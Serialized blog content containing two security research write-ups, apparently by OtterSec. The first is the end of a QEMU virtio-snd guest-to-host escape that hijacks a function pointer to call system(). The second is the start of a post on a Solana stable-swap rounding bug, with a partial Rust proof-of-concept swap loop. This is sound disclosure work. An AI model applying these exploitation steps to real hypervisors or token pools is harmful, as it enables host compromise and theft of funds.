",{"type":24,"tag":147,"props":8055,"children":8056},{"style":241},[8057],{"type":29,"value":244},{"type":24,"tag":147,"props":8059,"children":8060},{"style":247},[8061],{"type":29,"value":264},{"type":24,"tag":147,"props":8063,"children":8064},{"style":235},[8065],{"type":29,"value":269},{"type":24,"tag":147,"props":8067,"children":8068},{"class":149,"line":160},[8069],{"type":24,"tag":147,"props":8070,"children":8071},{"style":235},[8072],{"type":29,"value":278},{"type":24,"tag":147,"props":8074,"children":8075},{"class":149,"line":169},[8076,8080,8084,8088,8092,8097,8101,8106,8110,8115,8119,8124],{"type":24,"tag":147,"props":8077,"children":8078},{"style":321},[8079],{"type":29,"value":4759},{"type":24,"tag":147,"props":8081,"children":8082},{"style":235},[8083],{"type":29,"value":408},{"type":24,"tag":147,"props":8085,"children":8086},{"style":247},[8087],{"type":29,"value":264},{"type":24,"tag":147,"props":8089,"children":8090},{"style":235},[8091],{"type":29,"value":495},{"type":24,"tag":147,"props":8093,"children":8094},{"style":247},[8095],{"type":29,"value":8096},"vring",{"type":24,"tag":147,"props":8098,"children":8099},{"style":235},[8100],{"type":29,"value":87},{"type":24,"tag":147,"props":8102,"children":8103},{"style":247},[8104],{"type":29,"value":8105},"desc",{"type":24,"tag":147,"props":8107,"children":8108},{"style":241},[8109],{"type":29,"value":4269},{"type":24,"tag":147,"props":8111,"children":8112},{"style":247},[8113],{"type":29,"value":8114}," vq",{"type":24,"tag":147,"props":8116,"children":8117},{"style":235},[8118],{"type":29,"value":495},{"type":24,"tag":147,"props":8120,"children":8121},{"style":247},[8122],{"type":29,"value":8123},"handle_output",{"type":24,"tag":147,"props":8125,"children":8126},{"style":235},[8127],{"type":29,"value":505},{"type":24,"tag":147,"props":8129,"children":8130},{"class":149,"line":178},[8131,8136,8140,8145,8149,8153,8157,8161],{"type":24,"tag":147,"props":8132,"children":8133},{"style":235},[8134],{"type":29,"value":8135},"        VirtIODevice ",{"type":24,"tag":147,"props":8137,"children":8138},{"style":241},[8139],{"type":29,"value":244},{"type":24,"tag":147,"props":8141,"children":8142},{"style":235},[8143],{"type":29,"value":8144},"vdev ",{"type":24,"tag":147,"props":8146,"children":8147},{"style":241},[8148],{"type":29,"value":369},{"type":24,"tag":147,"props":8150,"children":8151},{"style":247},[8152],{"type":29,"value":8114},{"type":24,"tag":147,"props":8154,"children":8155},{"style":235},[8156],{"type":29,"value":495},{"type":24,"tag":147,"props":8158,"children":8159},{"style":247},[8160],{"type":29,"value":250},{"type":24,"tag":147,"props":8162,"children":8163},{"style":235},[8164],{"type":29,"value":432},{"type":24,"tag":147,"props":8166,"children":8167},{"class":149,"line":187},[8168],{"type":24,"tag":147,"props":8169,"children":8170},{"emptyLinePlaceholder":16},[8171],{"type":29,"value":314},{"type":24,"tag":147,"props":8173,"children":8174},{"class":149,"line":196},[8175],{"type":24,"tag":147,"props":8176,"children":8177},{"style":235},[8178],{"type":29,"value":458},{"type":24,"tag":147,"props":8180,"children":8181},{"class":149,"line":205},[8182],{"type":24,"tag":147,"props":8183,"children":8184},{"emptyLinePlaceholder":16},[8185],{"type":29,"value":314},{"type":24,"tag":147,"props":8187,"children":8188},{"class":149,"line":214},[8189,8194,8198,8202],{"type":24,"tag":147,"props":8190,"children":8191},{"style":247},[8192],{"type":29,"value":8193},"        vq",{"type":24,"tag":147,"props":8195,"children":8196},{"style":235},[8197],{"type":29,"value":495},{"type":24,"tag":147,"props":8199,"children":8200},{"style":229},[8201],{"type":29,"value":8123},{"type":24,"tag":147,"props":8203,"children":8204},{"style":235},[8205],{"type":29,"value":8206},"(vdev, vq);\n",{"type":24,"tag":147,"props":8208,"children":8209},{"class":149,"line":272},[8210],{"type":24,"tag":147,"props":8211,"children":8212},{"emptyLinePlaceholder":16},[8213],{"type":29,"value":314},{"type":24,"tag":147,"props":8215,"children":8216},{"class":149,"line":281},[8217],{"type":24,"tag":147,"props":8218,"children":8219},{"style":235},[8220],{"type":29,"value":458},{"type":24,"tag":147,"props":8222,"children":8223},{"class":149,"line":299},[8224],{"type":24,"tag":147,"props":8225,"children":8226},{"style":235},[8227],{"type":29,"value":1952},{"type":24,"tag":147,"props":8229,"children":8230},{"class":149,"line":308},[8231],{"type":24,"tag":147,"props":8232,"children":8233},{"style":235},[8234],{"type":29,"value":827},{"type":24,"tag":25,"props":8236,"children":8237},{},[8238,8240,8245,8247,8252,8254,8260,8262,8267,8269,8274,8276,8281],{"type":29,"value":8239},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":80,"props":8241,"children":8243},{"className":8242},[],[8244],{"type":29,"value":976},{"type":29,"value":8246}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":80,"props":8248,"children":8250},{"className":8249},[],[8251],{"type":29,"value":541},{"type":29,"value":8253}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":80,"props":8255,"children":8257},{"className":8256},[],[8258],{"type":29,"value":8259},".vq",{"type":29,"value":8261}," pointer, then follow that pointer to leak ",{"type":24,"tag":80,"props":8263,"children":8265},{"className":8264},[],[8266],{"type":29,"value":8015},{"type":29,"value":8268}," from the ",{"type":24,"tag":80,"props":8270,"children":8272},{"className":8271},[],[8273],{"type":29,"value":7917},{"type":29,"value":8275}," structure. In our case, that field points to ",{"type":24,"tag":80,"props":8277,"children":8279},{"className":8278},[],[8280],{"type":29,"value":133},{"type":29,"value":8282},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":8284,"children":8285},{},[8286,8288,8294],{"type":29,"value":8287},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":80,"props":8289,"children":8291},{"className":8290},[],[8292],{"type":29,"value":8293},"system",{"type":29,"value":87},{"type":24,"tag":43,"props":8296,"children":8298},{"id":8297},"rip-control",[8299],{"type":29,"value":8300},"RIP Control",{"type":24,"tag":25,"props":8302,"children":8303},{},[8304,8306,8311,8313,8319],{"type":29,"value":8305},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":80,"props":8307,"children":8309},{"className":8308},[],[8310],{"type":29,"value":8293},{"type":29,"value":8312},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":80,"props":8314,"children":8316},{"className":8315},[],[8317],{"type":29,"value":8318},"VirtQueue.handle_output",{"type":29,"value":87},{"type":24,"tag":25,"props":8321,"children":8322},{},[8323,8325,8330,8332,8337,8339,8344],{"type":29,"value":8324},"We overwrite ",{"type":24,"tag":80,"props":8326,"children":8328},{"className":8327},[],[8329],{"type":29,"value":8015},{"type":29,"value":8331}," with the address of ",{"type":24,"tag":80,"props":8333,"children":8335},{"className":8334},[],[8336],{"type":29,"value":8293},{"type":29,"value":8338}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":80,"props":8340,"children":8342},{"className":8341},[],[8343],{"type":29,"value":8023},{"type":29,"value":8345}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":8347,"children":8348},{},[8349,8351,8357,8359,8365,8367,8373],{"type":29,"value":8350},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":80,"props":8352,"children":8354},{"className":8353},[],[8355],{"type":29,"value":8356},"virtio_queue_notify_vq",{"type":29,"value":8358},", which calls ",{"type":24,"tag":80,"props":8360,"children":8362},{"className":8361},[],[8363],{"type":29,"value":8364},"vq->handle_output(vq->vdev)",{"type":29,"value":8366}," - or, after our overwrites, ",{"type":24,"tag":80,"props":8368,"children":8370},{"className":8369},[],[8371],{"type":29,"value":8372},"system(command)",{"type":29,"value":87},{"type":24,"tag":25,"props":8375,"children":8376},{},[8377,8379,8385,8387],{"type":29,"value":8378},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":80,"props":8380,"children":8382},{"className":8381},[],[8383],{"type":29,"value":8384},"gnome-calculator",{"type":29,"value":8386}," on the host system:\n",{"type":24,"tag":8388,"props":8389,"children":8390},"br",{},[],{"type":24,"tag":8392,"props":8393,"children":8402},"tweet-card",{"author-name":8394,"date":8395,"duration":8396,"handle":8397,"media-mime-type":8398,"media-src":8399,"media-type":8400,"tweet-url":8401},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[8403,8408,8413],{"type":24,"tag":25,"props":8404,"children":8405},{},[8406],{"type":29,"value":8407},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":8409,"children":8410},{},[8411],{"type":29,"value":8412},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":8414,"children":8415},{},[8416],{"type":29,"value":8417},"Writeup coming next week.",{"type":24,"tag":8388,"props":8419,"children":8420},{},[],{"type":24,"tag":25,"props":8422,"children":8423},{},[8424,8426,8432,8434,8441],{"type":29,"value":8425},"The final exploit, targeting QEMU commit ",{"type":24,"tag":80,"props":8427,"children":8429},{"className":8428},[],[8430],{"type":29,"value":8431},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":8433}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":2773,"props":8435,"children":8438},{"href":8436,"rel":8437},"https://github.com/otter-sec/qemu-escape",[2777],[8439],{"type":29,"value":8440},"here",{"type":29,"value":87},{"type":24,"tag":25,"props":8443,"children":8444},{},[8445,8447,8454],{"type":29,"value":8446},"Special thanks to ",{"type":24,"tag":2773,"props":8448,"children":8451},{"href":8449,"rel":8450},"https://www.willsroot.io/",[2777],[8452],{"type":29,"value":8453},"William Liu",{"type":29,"value":8455}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":32,"props":8457,"children":8459},{"id":8458},"conclusion",[8460],{"type":29,"value":8461},"Conclusion",{"type":24,"tag":25,"props":8463,"children":8464},{},[8465],{"type":29,"value":8466},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":8468,"children":8469},{},[8470],{"type":29,"value":8471},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":8473,"props":8474,"children":8475},"style",{},[8476],{"type":29,"value":8477},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":160,"depth":160,"links":8479},[8480,8483,8486,8495],{"id":18,"depth":160,"text":36,"children":8481},[8482],{"id":45,"depth":169,"text":48},{"id":70,"depth":160,"text":73,"children":8484},[8485],{"id":85,"depth":169,"text":85},{"id":2793,"depth":160,"text":2796,"children":8487},[8488,8489,8490,8491,8492,8493,8494],{"id":2809,"depth":169,"text":2812},{"id":4353,"depth":169,"text":4356},{"id":5153,"depth":169,"text":5156},{"id":5559,"depth":169,"text":5562},{"id":5777,"depth":169,"text":5780},{"id":5986,"depth":169,"text":5989},{"id":8297,"depth":169,"text":8300},{"id":8458,"depth":160,"text":8461},"markdown","content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","content","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","md",[8503,11004,11340,14881,19233,24353,34604,36034,36796,41022,46043,51474,52630,56118,66495,73223,75062,76771,81436,95334,98055,102843,105281,107624,113406,129225,136741,146665,151943,161336,163673],{"_path":8504,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8505,"description":8506,"image":8507,"date":8511,"isFeatured":16,"tags":8512,"onBlogPage":16,"body":8515,"_type":8496,"_id":11001,"_source":8498,"_file":11002,"_stem":11003,"_extension":8501},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":8508,"width":8509,"height":8510},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[8513,8514],"solana","report",{"type":21,"children":8516,"toc":10995},[8517,8531,8536,8541,8550,8556,8561,8566,8574,8582,8587,8592,8600,8605,8610,8981,8991,8996,9524,9529,9537,9544,9550,9555,9560,9565,9572,9584,9589,9601,9839,9844,9849,9855,9860,9865,9911,9916,9924,9929,9934,9939,10082,10095,10210,10224,10232,10246,10254,10267,10272,10284,10292,10314,10932,10938,10943,10956,10969,10976,10981,10986,10991],{"type":24,"tag":25,"props":8518,"children":8519},{},[8520,8522,8529],{"type":29,"value":8521},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":2773,"props":8523,"children":8526},{"href":8524,"rel":8525},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[2777],[8527],{"type":29,"value":8528},"spl-token-swap",{"type":29,"value":8530},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":8532,"children":8533},{},[8534],{"type":29,"value":8535},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":8537,"children":8538},{},[8539],{"type":29,"value":8540},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":8542,"children":8543},{},[8544],{"type":24,"tag":8545,"props":8546,"children":8547},"em",{},[8548],{"type":29,"value":8549},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":32,"props":8551,"children":8553},{"id":8552},"discovery",[8554],{"type":29,"value":8555},"Discovery",{"type":24,"tag":25,"props":8557,"children":8558},{},[8559],{"type":29,"value":8560},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":8562,"children":8563},{},[8564],{"type":29,"value":8565},"After a while, he noticed something weird..",{"type":24,"tag":98,"props":8567,"children":8568},{},[8569],{"type":24,"tag":25,"props":8570,"children":8571},{},[8572],{"type":29,"value":8573},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":137,"props":8575,"children":8577},{"code":8576},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[8578],{"type":24,"tag":80,"props":8579,"children":8580},{"__ignoreMap":7},[8581],{"type":29,"value":8576},{"type":24,"tag":25,"props":8583,"children":8584},{},[8585],{"type":29,"value":8586},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":8588,"children":8589},{},[8590],{"type":29,"value":8591},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":137,"props":8593,"children":8595},{"code":8594},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[8596],{"type":24,"tag":80,"props":8597,"children":8598},{"__ignoreMap":7},[8599],{"type":29,"value":8594},{"type":24,"tag":25,"props":8601,"children":8602},{},[8603],{"type":29,"value":8604},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":8606,"children":8607},{},[8608],{"type":29,"value":8609},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":137,"props":8611,"children":8615},{"code":8612,"language":8613,"meta":7,"className":8614,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[8616],{"type":24,"tag":80,"props":8617,"children":8618},{"__ignoreMap":7},[8619,8627,8658,8689,8790,8895,8920,8931,8947,8967,8974],{"type":24,"tag":147,"props":8620,"children":8621},{"class":149,"line":150},[8622],{"type":24,"tag":147,"props":8623,"children":8624},{"style":154},[8625],{"type":29,"value":8626},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":147,"props":8628,"children":8629},{"class":149,"line":160},[8630,8635,8640,8645,8649,8654],{"type":24,"tag":147,"props":8631,"children":8632},{"style":218},[8633],{"type":29,"value":8634},"    let",{"type":24,"tag":147,"props":8636,"children":8637},{"style":218},[8638],{"type":29,"value":8639}," mut",{"type":24,"tag":147,"props":8641,"children":8642},{"style":247},[8643],{"type":29,"value":8644}," y",{"type":24,"tag":147,"props":8646,"children":8647},{"style":241},[8648],{"type":29,"value":651},{"type":24,"tag":147,"props":8650,"children":8651},{"style":247},[8652],{"type":29,"value":8653}," d_val",{"type":24,"tag":147,"props":8655,"children":8656},{"style":235},[8657],{"type":29,"value":432},{"type":24,"tag":147,"props":8659,"children":8660},{"class":149,"line":169},[8661,8665,8670,8675,8679,8684],{"type":24,"tag":147,"props":8662,"children":8663},{"style":321},[8664],{"type":29,"value":324},{"type":24,"tag":147,"props":8666,"children":8667},{"style":247},[8668],{"type":29,"value":8669}," _",{"type":24,"tag":147,"props":8671,"children":8672},{"style":218},[8673],{"type":29,"value":8674}," in",{"type":24,"tag":147,"props":8676,"children":8677},{"style":705},[8678],{"type":29,"value":708},{"type":24,"tag":147,"props":8680,"children":8681},{"style":241},[8682],{"type":29,"value":8683},"..",{"type":24,"tag":147,"props":8685,"children":8686},{"style":235},[8687],{"type":29,"value":8688},"ITERATIONS {\n",{"type":24,"tag":147,"props":8690,"children":8691},{"class":149,"line":178},[8692,8697,8701,8706,8710,8715,8719,8723,8727,8732,8736,8740,8745,8749,8754,8759,8764,8769,8773,8777,8781,8786],{"type":24,"tag":147,"props":8693,"children":8694},{"style":218},[8695],{"type":29,"value":8696},"        let",{"type":24,"tag":147,"props":8698,"children":8699},{"style":235},[8700],{"type":29,"value":408},{"type":24,"tag":147,"props":8702,"children":8703},{"style":247},[8704],{"type":29,"value":8705},"y_new",{"type":24,"tag":147,"props":8707,"children":8708},{"style":235},[8709],{"type":29,"value":546},{"type":24,"tag":147,"props":8711,"children":8712},{"style":247},[8713],{"type":29,"value":8714},"_",{"type":24,"tag":147,"props":8716,"children":8717},{"style":235},[8718],{"type":29,"value":564},{"type":24,"tag":147,"props":8720,"children":8721},{"style":241},[8722],{"type":29,"value":369},{"type":24,"tag":147,"props":8724,"children":8725},{"style":235},[8726],{"type":29,"value":408},{"type":24,"tag":147,"props":8728,"children":8729},{"style":229},[8730],{"type":29,"value":8731},"checked_u8_power",{"type":24,"tag":147,"props":8733,"children":8734},{"style":235},[8735],{"type":29,"value":480},{"type":24,"tag":147,"props":8737,"children":8738},{"style":241},[8739],{"type":29,"value":485},{"type":24,"tag":147,"props":8741,"children":8742},{"style":247},[8743],{"type":29,"value":8744},"y",{"type":24,"tag":147,"props":8746,"children":8747},{"style":235},[8748],{"type":29,"value":546},{"type":24,"tag":147,"props":8750,"children":8751},{"style":705},[8752],{"type":29,"value":8753},"2",{"type":24,"tag":147,"props":8755,"children":8756},{"style":235},[8757],{"type":29,"value":8758},")",{"type":24,"tag":147,"props":8760,"children":8761},{"style":241},[8762],{"type":29,"value":8763},"?.",{"type":24,"tag":147,"props":8765,"children":8766},{"style":229},[8767],{"type":29,"value":8768},"checked_add",{"type":24,"tag":147,"props":8770,"children":8771},{"style":235},[8772],{"type":29,"value":480},{"type":24,"tag":147,"props":8774,"children":8775},{"style":247},[8776],{"type":29,"value":140},{"type":24,"tag":147,"props":8778,"children":8779},{"style":235},[8780],{"type":29,"value":8758},{"type":24,"tag":147,"props":8782,"children":8783},{"style":241},[8784],{"type":29,"value":8785},"?",{"type":24,"tag":147,"props":8787,"children":8788},{"style":235},[8789],{"type":29,"value":269},{"type":24,"tag":147,"props":8791,"children":8792},{"class":149,"line":187},[8793,8798,8803,8807,8812,8816,8820,8824,8828,8832,8836,8840,8844,8848,8853,8857,8861,8866,8870,8875,8879,8883,8887,8891],{"type":24,"tag":147,"props":8794,"children":8795},{"style":241},[8796],{"type":29,"value":8797},"            .",{"type":24,"tag":147,"props":8799,"children":8800},{"style":229},[8801],{"type":29,"value":8802},"checked_ceil_div",{"type":24,"tag":147,"props":8804,"children":8805},{"style":235},[8806],{"type":29,"value":480},{"type":24,"tag":147,"props":8808,"children":8809},{"style":229},[8810],{"type":29,"value":8811},"checked_u8_mul",{"type":24,"tag":147,"props":8813,"children":8814},{"style":235},[8815],{"type":29,"value":480},{"type":24,"tag":147,"props":8817,"children":8818},{"style":241},[8819],{"type":29,"value":485},{"type":24,"tag":147,"props":8821,"children":8822},{"style":247},[8823],{"type":29,"value":8744},{"type":24,"tag":147,"props":8825,"children":8826},{"style":235},[8827],{"type":29,"value":546},{"type":24,"tag":147,"props":8829,"children":8830},{"style":705},[8831],{"type":29,"value":8753},{"type":24,"tag":147,"props":8833,"children":8834},{"style":235},[8835],{"type":29,"value":8758},{"type":24,"tag":147,"props":8837,"children":8838},{"style":241},[8839],{"type":29,"value":8763},{"type":24,"tag":147,"props":8841,"children":8842},{"style":229},[8843],{"type":29,"value":8768},{"type":24,"tag":147,"props":8845,"children":8846},{"style":235},[8847],{"type":29,"value":480},{"type":24,"tag":147,"props":8849,"children":8850},{"style":247},[8851],{"type":29,"value":8852},"b",{"type":24,"tag":147,"props":8854,"children":8855},{"style":235},[8856],{"type":29,"value":8758},{"type":24,"tag":147,"props":8858,"children":8859},{"style":241},[8860],{"type":29,"value":8763},{"type":24,"tag":147,"props":8862,"children":8863},{"style":229},[8864],{"type":29,"value":8865},"checked_sub",{"type":24,"tag":147,"props":8867,"children":8868},{"style":235},[8869],{"type":29,"value":480},{"type":24,"tag":147,"props":8871,"children":8872},{"style":247},[8873],{"type":29,"value":8874},"d_val",{"type":24,"tag":147,"props":8876,"children":8877},{"style":235},[8878],{"type":29,"value":8758},{"type":24,"tag":147,"props":8880,"children":8881},{"style":241},[8882],{"type":29,"value":8785},{"type":24,"tag":147,"props":8884,"children":8885},{"style":235},[8886],{"type":29,"value":8758},{"type":24,"tag":147,"props":8888,"children":8889},{"style":241},[8890],{"type":29,"value":8785},{"type":24,"tag":147,"props":8892,"children":8893},{"style":235},[8894],{"type":29,"value":432},{"type":24,"tag":147,"props":8896,"children":8897},{"class":149,"line":196},[8898,8902,8907,8912,8916],{"type":24,"tag":147,"props":8899,"children":8900},{"style":321},[8901],{"type":29,"value":403},{"type":24,"tag":147,"props":8903,"children":8904},{"style":247},[8905],{"type":29,"value":8906}," y_new",{"type":24,"tag":147,"props":8908,"children":8909},{"style":241},[8910],{"type":29,"value":8911}," ==",{"type":24,"tag":147,"props":8913,"children":8914},{"style":247},[8915],{"type":29,"value":8644},{"type":24,"tag":147,"props":8917,"children":8918},{"style":235},[8919],{"type":29,"value":6630},{"type":24,"tag":147,"props":8921,"children":8922},{"class":149,"line":205},[8923,8927],{"type":24,"tag":147,"props":8924,"children":8925},{"style":321},[8926],{"type":29,"value":427},{"type":24,"tag":147,"props":8928,"children":8929},{"style":235},[8930],{"type":29,"value":432},{"type":24,"tag":147,"props":8932,"children":8933},{"class":149,"line":214},[8934,8939,8943],{"type":24,"tag":147,"props":8935,"children":8936},{"style":235},[8937],{"type":29,"value":8938},"        } ",{"type":24,"tag":147,"props":8940,"children":8941},{"style":321},[8942],{"type":29,"value":6625},{"type":24,"tag":147,"props":8944,"children":8945},{"style":235},[8946],{"type":29,"value":6630},{"type":24,"tag":147,"props":8948,"children":8949},{"class":149,"line":272},[8950,8955,8959,8963],{"type":24,"tag":147,"props":8951,"children":8952},{"style":247},[8953],{"type":29,"value":8954},"            y",{"type":24,"tag":147,"props":8956,"children":8957},{"style":241},[8958],{"type":29,"value":651},{"type":24,"tag":147,"props":8960,"children":8961},{"style":247},[8962],{"type":29,"value":8906},{"type":24,"tag":147,"props":8964,"children":8965},{"style":235},[8966],{"type":29,"value":432},{"type":24,"tag":147,"props":8968,"children":8969},{"class":149,"line":281},[8970],{"type":24,"tag":147,"props":8971,"children":8972},{"style":235},[8973],{"type":29,"value":441},{"type":24,"tag":147,"props":8975,"children":8976},{"class":149,"line":299},[8977],{"type":24,"tag":147,"props":8978,"children":8979},{"style":235},[8980],{"type":29,"value":1952},{"type":24,"tag":25,"props":8982,"children":8983},{},[8984,8989],{"type":24,"tag":8545,"props":8985,"children":8986},{},[8987],{"type":29,"value":8988},"approximate",{"type":29,"value":8990},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":8992,"children":8993},{},[8994],{"type":29,"value":8995},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":137,"props":8997,"children":8999},{"code":8998,"language":8613,"meta":7,"className":8614,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[9000],{"type":24,"tag":80,"props":9001,"children":9002},{"__ignoreMap":7},[9003,9011,9051,9059,9089,9117,9133,9149,9174,9190,9206,9222,9238,9254,9266,9274,9296,9303,9311,9378,9385,9414,9421,9451,9458,9517],{"type":24,"tag":147,"props":9004,"children":9005},{"class":149,"line":150},[9006],{"type":24,"tag":147,"props":9007,"children":9008},{"style":154},[9009],{"type":29,"value":9010},"// from sbtc to renbtc\n",{"type":24,"tag":147,"props":9012,"children":9013},{"class":149,"line":160},[9014,9019,9024,9028,9032,9037,9042,9047],{"type":24,"tag":147,"props":9015,"children":9016},{"style":321},[9017],{"type":29,"value":9018},"for",{"type":24,"tag":147,"props":9020,"children":9021},{"style":247},[9022],{"type":29,"value":9023}," i",{"type":24,"tag":147,"props":9025,"children":9026},{"style":218},[9027],{"type":29,"value":8674},{"type":24,"tag":147,"props":9029,"children":9030},{"style":705},[9031],{"type":29,"value":708},{"type":24,"tag":147,"props":9033,"children":9034},{"style":241},[9035],{"type":29,"value":9036}," ..",{"type":24,"tag":147,"props":9038,"children":9039},{"style":705},[9040],{"type":29,"value":9041}," 50",{"type":24,"tag":147,"props":9043,"children":9045},{"style":9044},"--shiki-default:#4EC9B0",[9046],{"type":29,"value":2625},{"type":24,"tag":147,"props":9048,"children":9049},{"style":235},[9050],{"type":29,"value":6630},{"type":24,"tag":147,"props":9052,"children":9053},{"class":149,"line":169},[9054],{"type":24,"tag":147,"props":9055,"children":9056},{"style":154},[9057],{"type":29,"value":9058},"    // create swap transaction\n",{"type":24,"tag":147,"props":9060,"children":9061},{"class":149,"line":178},[9062,9066,9070,9075,9079,9084],{"type":24,"tag":147,"props":9063,"children":9064},{"style":218},[9065],{"type":29,"value":8634},{"type":24,"tag":147,"props":9067,"children":9068},{"style":218},[9069],{"type":29,"value":8639},{"type":24,"tag":147,"props":9071,"children":9072},{"style":247},[9073],{"type":29,"value":9074}," swap_instruction",{"type":24,"tag":147,"props":9076,"children":9077},{"style":241},[9078],{"type":29,"value":651},{"type":24,"tag":147,"props":9080,"children":9081},{"style":229},[9082],{"type":29,"value":9083}," swap",{"type":24,"tag":147,"props":9085,"children":9086},{"style":235},[9087],{"type":29,"value":9088},"(\n",{"type":24,"tag":147,"props":9090,"children":9091},{"class":149,"line":187},[9092,9097,9102,9107,9112],{"type":24,"tag":147,"props":9093,"children":9094},{"style":241},[9095],{"type":29,"value":9096},"        